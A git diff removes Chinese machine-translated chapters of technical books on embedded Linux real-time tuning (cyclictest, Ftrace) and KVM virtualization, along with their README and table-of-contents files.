有了这些信息,您可以回顾调用链,(希望)确定这是否存在问题。 - -其他的追踪者也以同样的方式提到了工作。 - -## 组合 cyclictest 和 Ftrace - -如果`cyclictest`报告出现意外的长延迟,您可以使用的`breaktrace`选项中止程序并触发 Ftrace 以获取更多信息。 - -您可以使用`-b`或`--breaktrace=`调用`breaktrace`,其中`N`是触发跟踪的延迟微秒数。 您可以使用`-T[tracer name]`或以下方法之一选择 Ftrace 追踪器: - -* `-C`:上下文切换 -* `-E`:事件 -* `-f`:函数 -* `-w`:唤醒 -* Wakeup-RT - -例如,当测量到大于`100`微秒的延迟时,此将触发 Ftrace 功能跟踪器: - -```sh -# cyclictest -a -t -n -p99 -f -b100 -``` - -我们现在有两个互补的工具来调试延迟问题。 `cyclictest`检测暂停,ftrace 提供详细信息。 - -# 摘要 - -术语*实时*没有意义,除非您用截止日期和可接受的错失率来限定它。 掌握了这两条信息后,您就可以确定 Linux 是否适合该操作系统,如果是,就开始调优您的系统以满足需求。 调优 Linux 和您的应用以处理实时事件意味着使其更具确定性,以便实时线程能够可靠地满足其最后期限。 确定性通常是以总吞吐量为代价的,因此实时系统将不能处理像非实时系统那样多的数据。 - -不可能提供数学证据来证明像 Linux 这样的复杂操作系统总是能在给定的期限内完成,因此唯一的方法是使用`cyclictest`和 Ftrace 等工具进行广泛的测试,更重要的是,使用您自己的应用基准测试。 - -要提高确定性,您需要同时考虑应用和内核。 编写实时应用时,应遵循本章中给出的有关调度、锁定和内存的指导原则。 - -内核对系统的确定性有很大影响。 值得庆幸的是,多年来在这方面已经做了很多工作。 启用内核抢占是很好的第一步。 如果您仍然发现它错过最后期限的次数比您希望的要多,那么您可能需要考虑`PREEMPT_RT`内核补丁。 它们当然可以产生低延迟,但事实上它们还不在主线上,这意味着您可能会在将它们与特定主板的供应商内核集成时遇到问题。 相反,或者另外,您可能需要使用 Ftrace 和类似工具开始查找延迟原因的练习。 - -这让我结束了对嵌入式 Linux 的剖析。 作为一名嵌入式系统工程师需要非常广泛的技能,其中包括对硬件以及内核如何与其交互的低级知识。 您需要成为一名优秀的系统工程师,能够配置用户应用并调整它们以高效地工作。 所有这些都必须通过硬件来完成,而硬件通常只能执行任务。 有一句话总结了这一点:*一个工程师花一美元就能做任何人花两美元就能做的事*。 我希望您能够通过我在本书过程中提供的信息来实现这一点。 - -# 进一步阅读 - -以下资源提供了有关本章 -中介绍的主题的更多信息: - -* *硬实时计算系统:可预测的调度算法和应用*,Giorgio Buttazzo 著 -* *Darryl Gove 的多核应用编程* \ No newline at end of file diff --git a/docs/master-emb-linux-prog/README.md b/docs/master-emb-linux-prog/README.md deleted file mode 100644 index 420e49fb..00000000 --- a/docs/master-emb-linux-prog/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 Linux 嵌入式编程 - -> 原文:[Mastering Embedded Linux Programming](https://libgen.rs/book/index.php?md5=3996AD3946F3D9ECE4C1612E34BFD814) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/master-emb-linux-prog/SUMMARY.md b/docs/master-emb-linux-prog/SUMMARY.md deleted file mode 100644 index 30f6d304..00000000 --- a/docs/master-emb-linux-prog/SUMMARY.md +++ /dev/null @@ -1,26 +0,0 @@ -+ [精通 Linux 嵌入式编程](README.md) -+ [零、前言](00.md) -+ [第一部分:嵌入式 Linux 的元素](sec1.md) - + [一、开始](01.md) - + [二、学习工具链](02.md) - + [三、关于引导加载器的一切](03.md) - + [四、配置和构建内核](04.md) - + [五、构建根文件系统](05.md) - + [六、选择构建系统](06.md) - + [七、将 Yocto 用于开发](07.md) - + [八、引擎盖下的 Yocto](08.md) -+ [第二部分:系统架构和设计决策](sec2.md) - + [九、创建存储策略](09.md) - + [十、现场更新软件](10.md) - + [十一、与设备驱动程序接口](11.md) - + [十二、使用分线板的原型](12.md) - + [十三、启动——初始化程序](13.md) - + [十四、从 BusyBox Runit 开始](14.md) - + [十五、管理电源](15.md) -+ [第三部分:编写嵌入式应用](sec3.md) - + [十六、打包 Python](16.md) - + [十七、了解进程和线程](17.md) - + [十八、管理内存](18.md) - + [十九、使用 gdb 调试](19.md) - + [二十、分析和跟踪](20.md) - + [二十一、实时编程](21.md) diff --git a/docs/master-emb-linux-prog/sec1.md b/docs/master-emb-linux-prog/sec1.md deleted file mode 100644 index 977d458a..00000000 --- a/docs/master-emb-linux-prog/sec1.md +++ /dev/null @@ -1,14 +0,0 @@ -# 第一部分:嵌入式 Linux 的元素 - -*第 1 节*的目标是帮助读者建立他们的开发环境,并为后续阶段创建一个工作平台。 这通常被称为“董事会提拔”阶段。 - -本书的这一部分包括以下章节: - -* [*第一章*](01.html#_idTextAnchor014)*,从*开始 -* [*第 2 章*](02.html#_idTextAnchor029)*,学习工具链* -* [*第 3 章*](03.html#_idTextAnchor061)*,所有关于引导加载器* -* [*第 4 章*](04.html#_idTextAnchor085)*,配置和构建内核* -* [*第 5 章*](05.html#_idTextAnchor122)*,构建根文件系统* -* [*第 6 章*](06.html#_idTextAnchor164)*,选择构建系统* -* [*第 7 章*](07.html#_idTextAnchor193)*,与 Yocto*一起开发 -* [*第 8 章*](08.html#_idTextAnchor223)*,《引擎盖下的 Yocto》* \ No newline at end of file diff --git a/docs/master-emb-linux-prog/sec2.md b/docs/master-emb-linux-prog/sec2.md deleted file mode 100644 index 18a8dea4..00000000 --- a/docs/master-emb-linux-prog/sec2.md +++ /dev/null @@ -1,13 +0,0 @@ -# 第二部分:系统架构和设计决策 - -在*第 2 节*结束时,我们将能够做出关于程序和数据的存储、如何在内核设备驱动程序和应用之间分配工作以及如何初始化系统的明智决策。 - -本书的这一部分包括以下章节: - -* [*第 9 章*](09.html#_idTextAnchor246)*,创建存储策略* -* [*第 10 章*](10.html#_idTextAnchor278)*,现场更新软件* -* [*第 11 章*](11.html#_idTextAnchor329)*,与设备驱动程序*接口 -* [*第 12 章*](12.html#_idTextAnchor356)*,带分线板的原型制作* -* [*第 13 章*](13.html#_idTextAnchor391)*,启动-init 程序* -* [*第 14 章*](14.html#_idTextAnchor411)*,从 BusyBox Runit*开始 -* [*第 15 章*](15.html#_idTextAnchor430)*,管理电源* \ No newline at end of file diff --git a/docs/master-emb-linux-prog/sec3.md b/docs/master-emb-linux-prog/sec3.md deleted file mode 100644 index 2950a199..00000000 --- a/docs/master-emb-linux-prog/sec3.md +++ /dev/null @@ -1,9 +0,0 @@ -# 第三部分:编写嵌入式应用 - -*第 3 节*向读者展示了如何使用嵌入式 Linux 平台为其应用创建工作设备。 本节首先介绍各种 Python 打包和部署选项,以帮助您迭代开发应用。 然后,我们将学习如何有效利用 Linux 进程和线程模型,以及如何在资源受限的设备中管理内存。 - -本书的这一部分包括以下章节: - -* [*第 16 章*](16.html#_idTextAnchor449)*,打包 Python* -* [*第 17 章*](17.html#_idTextAnchor473)*,了解进程和线程* -* [*第 18 章*](18.html#_idTextAnchor502)*,管理内存* \ No newline at end of file diff --git a/docs/master-kvm-virtual/00.md b/docs/master-kvm-virtual/00.md deleted file mode 100644 index 195921f5..00000000 --- a/docs/master-kvm-virtual/00.md +++ /dev/null @@ -1,100 +0,0 @@ -# 零、前言 - -*掌握 KVM 虚拟化*这本书应该会让您在读完这本书的过程中获得“从零到英雄”的地位。 这本书收集了 KVM 必须提供的所有内容,既面向 DevOps 读者,也面向普通系统管理读者和开发人员。 我们希望,通过阅读这本书,您将能够理解 KVM 的内部工作原理的一切,以及更高级的概念和介于两者之间的一切。 无论您是刚刚开始使用 KVM 虚拟化,还是已经很好地开始了,您都可以在本书的页面上找到一些有价值的信息。 - -# 这本书是给谁看的 - -本书面向 Linux 初学者和专业人士,因为它不一定要求事先具备 Linux 的高级知识。 我们会在你浏览这本书的时候带你去那里--这是学习过程中不可或缺的一部分。 如果您对 KVM、OpenStack、Elk Stack、Eucalyptus 或 AWS 感兴趣,我们可以为您介绍。 - -# 这本书涵盖了哪些内容 - -[*第 1 章*](01.html#_idTextAnchor016),*了解 Linux 虚拟化*讨论了不同类型的虚拟化、管理器类型和 Linux 虚拟化概念(Xen 和 KVM)。 在本章中,我们试图从高层次的角度解释 Linux 虚拟化的一些基础知识,以及它如何适应云环境。 - -[*第 2 章*](02.html#_idTextAnchor029),*KVM as a Virtualization Solution*首先讨论虚拟化概念和虚拟化环境的需求,解释虚拟化的基本硬件和软件方面,以及虚拟化的各种方法。 在本章中,我们开始讨论 KVM 和 libvirt,这两个概念我们将在本书中使用。 - -[*第 3 章*](03.html#_idTextAnchor049),*安装 KVM Hypervisor、libvirt 和 oVirt*,通过引入一些新概念(包括可用于管理虚拟化 Linux 基础架构的 GUI oVirt),对[*第 2 章*](02.html#_idTextAnchor029)进行了扩展。 我们将带您完成检查所使用的硬件是否与 KVM 兼容的过程,介绍一些用于虚拟机部署的基本命令,然后继续解释如何在相同的场景中使用 oVirt。 - -[*第 4 章*](04.html#_idTextAnchor062)*Libvirt Networking*解释了 libvirt 如何与各种网络概念交互-不同模式下的虚拟交换机、如何使用 CLI 工具管理 libvirt 网络、TAP 和 TUN 设备、Linux 桥接和 Open vSwitch。 在此之后,我们将讨论使用 SR-IOV 的更极端的网络示例,这个概念应该可以让我们获得最低的延迟和最高的吞吐量,并且在每一毫秒都很重要的情况下使用。 - -[*第 5 章*](05.html#_idTextAnchor079),*Libvirt Storage*非常重要,因为存储概念在构建虚拟化和云环境时非常重要。 我们将讨论 KVM 支持的每种存储类型-本地存储池、NFS、iSCSI、SAN、Cave、Gluster、多路径和冗余、虚拟磁盘类型等。 我们还向您展示了存储的未来-NVMe 和 NVMeoF 是我们讨论的一些技术。 - -[*第 6 章*](06.html#_idTextAnchor108),*虚拟显示设备和协议*讨论了各种虚拟机显示类型、远程协议(包括 VNC 和 Spice)以及 NoVNC,NoVNC 确保了显示的便携性,因为我们可以通过使用 NoVNC 在 Web 浏览器中使用虚拟机控制台。 - -[*第 7 章*](07.html#_idTextAnchor125),*虚拟机:安装、配置和生命周期管理*介绍了部署和配置 KVM 虚拟机的其他方法,以及迁移过程,这对于任何类型的生产环境都非常重要。 - -[*第 8 章*](08.html#_idTextAnchor143),*创建和修改 VM 磁盘、模板和快照*讨论了各种虚拟机映像类型、虚拟机模板化过程、快照的使用,以及使用快照时的一些用例和最佳实践。 它还将作为下一章的介绍,在下一章中,我们将以更精简的方式使用模板和虚拟机磁盘,通过使用`cloud-init`和`cloudbase-init`在引导后自定义虚拟机。 - -[*第 9 章*](09.html#_idTextAnchor165),*使用 cloud-init 定制虚拟机*讨论了云环境中最基本的概念之一-如何在引导后定制虚拟机映像/模板。 Cloud-init 在几乎所有的云环境中都被用来进行引导后的 Linux 虚拟机配置,我们将解释它是如何工作的,以及如何使其在您的环境中工作。 - -[*第 10 章*](10.html#_idTextAnchor182),*自动化 Windows 访客部署和自定义*是[*第 9 章*](09.html#_idTextAnchor165)的继续,重点介绍 Microsoft Windows 虚拟机模板化和引导后自定义。 为此,我们使用 cloudbase-init,这一概念与 cloud-init 基本相同,但仅适用于基于 Microsoft 的操作系统。 - -[*第 11 章*](11.html#_idTextAnchor191),*用于编排和自动化的可解析和脚本*带我们了解了可解析之旅的第一部分-部署 AWX 和可解析,并描述了如何在我们基于 KVM 的环境中使用这些概念。 这只是现代 IT 中采用的 Ansible 使用模型之一,因为整个 DevOps 和基础设施即代码的故事在世界各地的 IT 基础设施中得到了更多的曝光。 - -[*第 12 章*](12.html#_idTextAnchor209),*使用 OpenStack 横向扩展 KVM*讨论了基于 KVM 构建云环境的过程。 OpenStack 是在使用 KVM 时实现这一点的标准方法。 在本章中,我们将讨论所有 OpenStack 构建块和服务,如何从头开始部署它,并描述如何在生产环境中使用它。 - -[*第 13 章*](13.html#_idTextAnchor238),*通过 AWS 横向扩展 KVM*,带我们踏上通过使用**Amazon Web Services**(**AWS**)使用公共云和混合云概念的旅程。 与几乎所有其他章节一样,这是一个非常实用的章节,您还可以用它来了解 AWS 的概念,这将是在本章末尾使用 Eucalyptus 部署混合云基础架构的关键。 - -[*第 14 章*](14.html#_idTextAnchor259),*监视 KVM 虚拟化平台*介绍了一个非常流行的通过**Elasticsearch,Logstash,Kibana**(**ELK**)堆栈进行监视的概念。 它还将引导您完成设置 ELK 堆栈并将其与您的 KVM 基础架构集成的整个过程,直至最终结果-使用仪表板和 UI 来监控您的基于 KVM 的环境。 - -[*第 15 章*](15.html#_idTextAnchor276),*KVM 的性能调整和优化*讨论了在基于 KVM 的环境中通过解构所有基础设施设计原则并(正确)使用它们来进行调整和优化的各种方法。 我们在这里介绍了许多高级主题-NUMA、KSM、CPU 和内存性能、CPU 固定、VirtIO 的调优,以及块和网络设备。 - -[*第 16 章*](16.html#_idTextAnchor302),*KVM 平台故障排除指南*从基础知识开始-KVM 服务和日志记录故障排除,并解释了 KVM 和 oVirt、Ansible 和 OpenStack、Eucalyptus 和 AWS 的各种故障排除方法。 这些都是我们在写这本书时在生产环境中遇到的现实问题。 在本章中,我们主要讨论与本书每一章相关的问题,包括与快照和模板相关的问题。 - -# 充分利用这本书 - -我们假设至少具备 Linux 的基本知识和以前安装虚拟机的经验作为本书的先决条件。 - -![](img/B14834_Preface_table.jpg) - -# 行动中的代码 - -本书的代码实际操作视频可在[https://bit.ly/32IHMdO](https://bit.ly/32IHMdO)上查看。 - -# 下载彩色图片 - -我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。 您可以在此处下载:[http://www.packtpub.com/sites/default/files/downloads/9781838828714_ColorImages.pdf](http://www.packtpub.com/sites/default/files/downloads/9781838828714_ColorImages.pdf) - -# 使用的惯例 - -本书中使用了许多文本约定。 - -`Code in text`:指示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。 下面是一个示例:“我们需要做的只是取消注释位于`/etc/logstash`文件夹中的配置文件中定义的一个管道。” - -代码块设置如下: - -```sh - - - -``` - -当我们希望您注意代码块的特定部分时,相关行或项将以粗体显示: - -```sh -POWER TTWU_QUEUE NO_FORCE_SD_OVERLAP RT_RUNTIME_SHARE NO_LB_MIN NUMA -NUMA_FAVOUR_HIGHER NO_NUMA_RESIST_LOWER -``` - -**粗体**:表示您在屏幕上看到的新术语、重要单词或单词。 例如,菜单或对话框中的单词显示在文本中,如下所示。 这里有一个例子:“按下**Refresh**按钮后,页面上应该会出现新的数据。” - -提示或重要说明 - -看起来就像这样。 - -# 保持联系 - -欢迎读者的反馈。 - -**一般反馈**:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并向我们发送电子邮件至[customercare@Packtpub.com](mailto:customercare@packtpub.com)。 - -**勘误表**:虽然我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.Packtpub.com/support/errata](http://www.packtpub.com/support/errata),选择您的图书,单击勘误表提交表链接,然后输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的非法复制我们的作品,请您提供地址或网站名称,我们将不胜感激。 请通过[Copyright@Packt.com](mailto:copyright@packt.com)联系我们,并提供该材料的链接。 - -**如果您有兴趣成为一名作者**:如果有一个您擅长的主题,并且您有兴趣撰写或投稿一本书,请访问[Auths.Packtpub.com](http://authors.packtpub.com)。 - -# 评论 - -请留下评论。 一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢? 这样,潜在读者就可以看到并使用您不偏不倚的意见来做出购买决定,我们 Packt 可以了解您对我们产品的看法,我们的作者也可以看到您对他们的书的反馈。 谢谢! - -有关 Packt 的更多信息,请访问[Packt.com](http://packt.com)。 \ No newline at end of file diff --git a/docs/master-kvm-virtual/01.md b/docs/master-kvm-virtual/01.md deleted file mode 100644 index b6240ad9..00000000 --- a/docs/master-kvm-virtual/01.md +++ /dev/null @@ -1,171 +0,0 @@ -# 一、了解 Linux 虚拟化 - -虚拟化是一种开启了向 IT 整合的重大技术转变的技术,它将资源和云作为更加集成、自动化和编排的虚拟化版本提供更高效的使用,不仅侧重于虚拟机,还侧重于其他服务。 本书共有 16 章,所有章节都包含了基于内核的虚拟机(KVM)虚拟化的所有重要方面。 我们将从虚拟化概念和 Linux 虚拟化的历史等基本 KVM 主题开始,然后继续讨论 KVM 中的高级主题,如自动化、编排、虚拟网络、存储和故障排除。 本章将让您深入了解 Linux 虚拟化中的主流技术及其相对于其他技术的优势。 - -在本章中,我们将介绍以下主题: - -* Linux 虚拟化及其基本概念 -* 虚拟化的类型 -* 虚拟机管理器/VMM -* 开源虚拟化项目 -* Linux 虚拟化在云中为您提供了什么 - -# Linux 虚拟化以及它是如何开始的 - -虚拟化是创建虚拟化资源并将其映射到物理资源的概念。 此过程可以使用特定的硬件功能(通过某种分区控制器进行分区)或软件功能(虚拟机管理器)来完成。 因此,举个例子,如果您有一台基于台基于 PC 的物理服务器,其中有 16 个内核在运行虚拟机管理器,那么您可以轻松地创建一个或多个虚拟机,每个虚拟机都有两个内核,然后启动它们。 关于您可以启动的虚拟机数量的限制是基于供应商的。 例如,如果您运行的是 Red Hat Enterprise Virtualizationv4.x(一个基于 KVM 的裸机管理器),则可以使用多达 768 个逻辑 CPU 核心或线程(您可以在[https://access.redhat.com/articles/906543](https://access.redhat.com/articles/906543)上阅读有关这方面的更多信息)。 在任何情况下,虚拟机管理器都将成为*的首选对象*,它将尽可能高效地进行管理,以便所有虚拟机工作负载都能在 CPU 上获得尽可能多的时间。 - -我清楚地记得我在 2004 年写了第一篇关于虚拟化的文章。 AMD 在 2003 年刚刚推出了它的第一款消费级 64 位 CPU(Athlon 64,Opteron),它让我大吃一惊。 英特尔在推出 64 位 CPU 时仍有些犹豫--缺少 64 位微软 Windows 操作系统可能也与此有关。 Linux 已经推出了对 64 位的支持,但这是基于 PC 的市场上许多新事物的曙光。 虚拟化本身并不是什么革命性的想法,因为其他公司已经有了可以进行虚拟化数十年的非 x86 产品(例如,IBM CP-40 及其 1967 年的 S/360-40)。 但对于个人电脑市场来说,这无疑是一个新的想法,它正处于一个奇怪的阶段,许多事情同时发生。 正如您可以想象的那样,切换到市场上出现的具有多核 CPU 的 64 位 CPU,然后从 DDR1 切换到 DDR2,然后从 PCI/ISA/AGP 切换到 PCI Express,是一段具有挑战性的时期。 - -具体地说,我记得考虑过各种可能性--先运行一个操作系统,然后再运行几个操作系统,那该有多酷。 在出版业工作,你可能会想象这会给任何人的工作流程带来多少好处,我记得当时真的很兴奋。 - -经过大约 15 年的发展,我们现在在虚拟化解决方案方面拥有了一个竞争激烈的市场-Red Hat 与 KVM、Microsoft 与 Hyper-V、VMware 与 ESXi、Oracle 与 Oracle VM,以及 Google 和其他关键参与者争夺用户和市场主导地位。 这导致了各种云解决方案的开发,如 EC2、AWS、Office 365、Azure、vCloud Director 和适用于各种云服务的 vRealize Automation。 总而言之,对 IT 来说,这 15 年是非常富有成效的 15 年,你说呢? - -但是,追溯到 2003 年 10 月,随着 IT 行业发生的所有变化,对于本书和 Linux 虚拟化总体来说,有一件事非常重要:引入了第一个用于 x86 体系结构的开源 Hypervisor,称为**Xen**。 它支持各种 CPU 体系结构(安腾、x86、x86_64 和 ARM),可以运行各种操作系统-Windows、Linux、Solaris 和一些风格的 BSD-它仍然是一些供应商的首选虚拟化解决方案,例如 Citrix(XenServer)和 Oracle(Oracle VM)。 我们将在本章稍后讨论更多关于 Xen 的技术细节。 - -开源市场上最大的企业参与者 Red Hat 在 2007 年发布的 Red Hat Enterprise Linux5 的初始版本中包含了 Xen 虚拟化。 但是 Xen 和 Red Hat 并不是天作之合,尽管 Red Hat 发布了 Xen 的 Red HatEnterprise Linux5 发行版,但 Red Hat 在 2010 年在 Red Hat Enterprise Linux6 中切换到了**KVM**,这在当时是一个非常冒险的举动。 实际上,从 Xen 迁移到 KVM 的整个过程始于前一个版本,5.3/5.4 版本,这两个版本都是在 2009 年发布的。 把事情放在上下文中,KVM 在当时是一个相当年轻的项目,只有几年的历史。 但发生这种情况的合理原因有很多,从*Xen 不在主线内核中,KVM 是*,到政治原因(Red Hat 希望对 Xen 开发产生更大的影响,但这种影响正在随着时间的推移而逐渐消退)。 - -从技术上讲,KVM 使用一种不同的模块化方法,将 Linux 内核转换为支持的 CPU 体系结构的全功能管理器。 当我们说*支持的 CPU 架构*时,我们谈论的是 KVM 虚拟化的基本要求-CPU 需要支持硬件虚拟化扩展,称为 AMD-V 或 Intel VT。 为了让事情简单一点,我们只能说,您真的必须非常努力地寻找不支持这些扩展的现代 CPU。 例如,如果您在服务器或台式 PC 上使用 Intel CPU,那么支持硬件虚拟化扩展的第一批 CPU 可以一直追溯到 2006 年(至强 LV)和 2008 年(酷睿 i7920)。 同样,我们将深入了解有关 KVM 的更多技术细节,并在本章稍后和下一章中提供 KVM 和 Xen 之间的比较。 - -# 虚拟化类型 - -有各种类型的虚拟化解决方案,所有这些解决方案都针对不同的用例,取决于这样一个事实:我们正在虚拟化硬件或软件堆栈的不同部分,即*您正在虚拟化的*。 同样值得注意的是,根据*如何虚拟化*,有不同类型的虚拟化-通过分区、完全虚拟化、半虚拟化、混合虚拟化或基于容器的虚拟化。 - -因此,让我们首先根据*您要虚拟化的*来介绍当今 IT 中的五种不同类型的虚拟化: - -* **桌面虚拟化**(**虚拟桌面基础设施**e**(VDI)**):这个被许多企业公司使用,并为许多场景提供了巨大的优势,因为用户不依赖于他们正在使用的特定设备来访问他们的桌面系统。 他们可以从手机、平板电脑或计算机进行连接,而且他们通常可以从任何地方连接到虚拟化桌面,就像他们坐在工作场所使用硬件计算机一样。 优势包括更轻松、集中的管理和监控、更简单的更新工作流程(您可以在 VDI 解决方案中更新数百台虚拟机的基本映像,并在维护时间内将其重新链接到数百台虚拟机),简化的部署流程(台式机、工作站或笔记本电脑上不再进行物理安装,以及集中化应用管理的可能性),以及更轻松地管理合规性和安全相关选项。 -* **服务器虚拟化**:目前绝大多数 IT 公司都在使用它。 它提供了服务器虚拟机与物理服务器的良好整合,同时与常规物理服务器相比,它还提供了许多其他运营优势-更易于备份、更节能、在服务器之间移动工作负载方面更自由等。 -* **应用虚拟化**:这通常使用某种流/远程协议技术(如 MicrosoftApp-V)或某些解决方案来实现,这些解决方案可以将应用打包到卷中,这些卷可以装载到虚拟机上,并针对一致的设置和交付选项进行配置,例如 VMware App 卷。 -* **网络虚拟化**(和一个更广泛的基于云的概念,称为**软件定义网络****(SDN)**):这是一种技术,它创建独立于物理网络设备(如交换机)的虚拟网络。 在更大的范围内,SDN 是网络虚拟化理念的延伸,可以跨越多个站点、位置或数据中心。 根据 SDN 的概念,整个网络配置都是在软件中完成的,您不一定需要特定的物理网络配置。 网络虚拟化的最大优势在于,您可以轻松管理跨越多个位置的复杂网络,而无需对网络数据路径上的所有物理设备进行大规模的物理网络重新配置。 此概念将在[*第 4 章*](04.html#_idTextAnchor062)、*libvirt Networking*和[*第 12 章*](12.html#_idTextAnchor209)、*使用 OpenStack 横向扩展 KVM*中解释。 -* **存储虚拟化**(以及一个较新的概念**软件定义存储(SDS)**):这是一种技术,它从我们可以作为单个存储设备集中管理的池化物理存储设备中创建虚拟存储设备。 这意味着我们将创建某种抽象层,将存储设备的内部功能与计算机、应用和其他类型的资源隔离开来。 作为其扩展,SDS 通过将控制和管理平面从底层硬件中抽象出来,并向虚拟机和应用提供不同类型的存储资源(块、文件和基于对象的资源),将存储软件堆栈与其运行于其上的硬件分离。 - -如果您查看这些虚拟化解决方案并将其大规模扩展(提示:云),您就会意识到您将需要各种工具和解决方案来*有效地*管理不断增长的基础设施,从而开发出各种自动化和编排工具。 其中一些工具将在本书后面介绍,例如[*第 11 章*](11.html#_idTextAnchor191),*Ansible for Orcheation and Automation*中的 Ansible。 就目前而言,让我们只是说,您不能仅仅依靠标准实用程序(脚本、命令,甚至 GUI 工具)来管理包含数千台虚拟机的环境。 您肯定需要与虚拟化解决方案紧密集成的更加程序化、API 驱动的方法,因此开发了 OpenStack、OpenShift、Ansible 和**Elasticsearch、Logstash、Kibana**(**ELK**)堆栈,我们将在[*第 14 章*](14.html#_idTextAnchor259),*使用 elk Stk 监控 KVM 虚拟化平台* - -如果我们谈论的是*我们如何*将虚拟机虚拟化为对象,则有不同类型的虚拟化: - -* **分区**:这是一种类型的虚拟化,在这种虚拟化中,CPU 被分成不同的部分,每个部分都作为单独的系统工作。 这种类型的虚拟化解决方案将服务器隔离为多个分区,每个分区可以运行单独的操作系统(例如,**IBM Logical Partitions(LPAR)**)。 -* **Full virtualization**: In full virtualization, a virtual machine is used to simulate regular hardware while not being aware of the fact that it's virtualized. This is done for compatibility reasons – we don't have to modify the guest OS that we're going to run in a virtual machine. We can use a software- and hardware-based approach for this. - - **基于软件的**:使用二进制转换来虚拟化敏感指令集的执行,同时使用软件模拟硬件,这会增加开销并影响可伸缩性。 - - **基于硬件的**:在与 CPU 的虚拟化功能(AMD-V、Intel VT)对接时,从等式中删除二进制转换,这反过来意味着指令集直接在主机 CPU 上执行。 这就是 KVM 所做的(以及其他流行的虚拟机管理器,如 ESXi、Hyper-V 和 Xen)。 - -* **半虚拟化**:这是一种虚拟化类型,在这种虚拟化中,访客操作系统了解它正在被虚拟化的事实,需要修改它以及它的驱动程序,以便它可以在虚拟化解决方案之上运行。 同时,它不需要 CPU 虚拟化扩展即可运行虚拟机。 例如,Xen 可以作为半虚拟化解决方案工作。 -* **混合虚拟化**:这是一种虚拟化类型,它使用完全虚拟化和半虚拟化的最大优点-客户操作系统可以原封不动(完全)运行的事实,以及我们可以在虚拟机中插入额外的半虚拟化驱动程序来处理虚拟机工作的某些特定方面(最常见的是 I/O 密集型内存工作负载)。 Xen 和 ESXi 也可以在混合虚拟化模式下工作。 -* **基于容器的虚拟化**:这是一种使用容器的应用虚拟化。 容器是一个对象,它将应用及其所有依赖项打包在一起,以便在不需要虚拟机或管理器的情况下向外扩展和快速部署应用。 请记住,有些技术可以同时作为虚拟机管理器和容器主机运行。 这类技术的一些例子包括 Docker 和 Podman(在 Red Hat Enterprise Linux8 中替代 Docker)。 - -接下来,我们将学习如何使用虚拟机管理器。 - -# 使用虚拟机管理器/虚拟机管理器 - -顾名思义,**Virtual Machine Manager(VMM)**或 Hypervisor 是一款负责监控和控制虚拟机或访客操作系统的软件。 管理器/VMM 负责确保不同的虚拟化管理任务,如提供虚拟硬件、虚拟机生命周期管理、迁移虚拟机、实时分配资源、定义虚拟机管理策略等。 VMM/虚拟机管理器还负责高效地控制物理平台资源,如内存转换和 I/O 映射。 虚拟化软件的主要优势之一是它能够在同一物理系统或硬件上运行多个访客操作系统。 这多个访客系统可以在同一操作系统上,也可以在不同的操作系统上。 例如,在同一物理系统上可以有多个 Linux 访客系统作为访客运行。 VMM 负责分配这些访客操作系统所请求的资源。 必须根据访客操作系统的配置将系统硬件(如处理器、内存等)分配给这些访客操作系统,VMM 可以处理此任务。 因此,VMM 是虚拟化环境中的关键组件。 - -根据类型,我们可以将虚拟机管理器分为类型 1 或类型 2。 - -## 第 1 类和第 2 类虚拟机管理器 - -根据虚拟机管理器驻留在系统中的位置,或者换句话说,系统中是否存在底层的操作系统,虚拟机管理器主要分为类型 1 或类型 2 的虚拟机管理器。 但是,对于类型 1 和类型 2 的虚拟机管理器没有明确或标准的定义。 如果 VMM/虚拟机管理器直接在硬件上运行,则其通常被认为是类型 1 虚拟机监控程序。 如果存在操作系统,并且 VMM/虚拟机管理器作为单独的层运行,则它将被视为类型 2 虚拟机管理器。 再说一次,这个概念值得商榷,没有标准的定义。 类型 1 管理器直接与系统硬件交互;它不需要任何主机操作系统。 您可以直接将其安装在裸机系统上,并使其为托管虚拟机做好准备。 类型 1 虚拟机监控程序也称为**裸机**、**嵌入式**或**本机虚拟机监控程序**。 OVirt-node、VMware ESXi/vSphere 和**Red Hat Enterprise Virtualization Hypervisor**(**RHEV-H**)是类型 1 Linux 虚拟机管理器的示例。 下图说明了第 1 类虚拟机监控程序的设计概念: - -![Figure 1.1 – Type 1 hypervisor design ](img/B14834_01_01.jpg) - -图 1.1-类型 1 虚拟机管理器设计 - -以下是类型 1 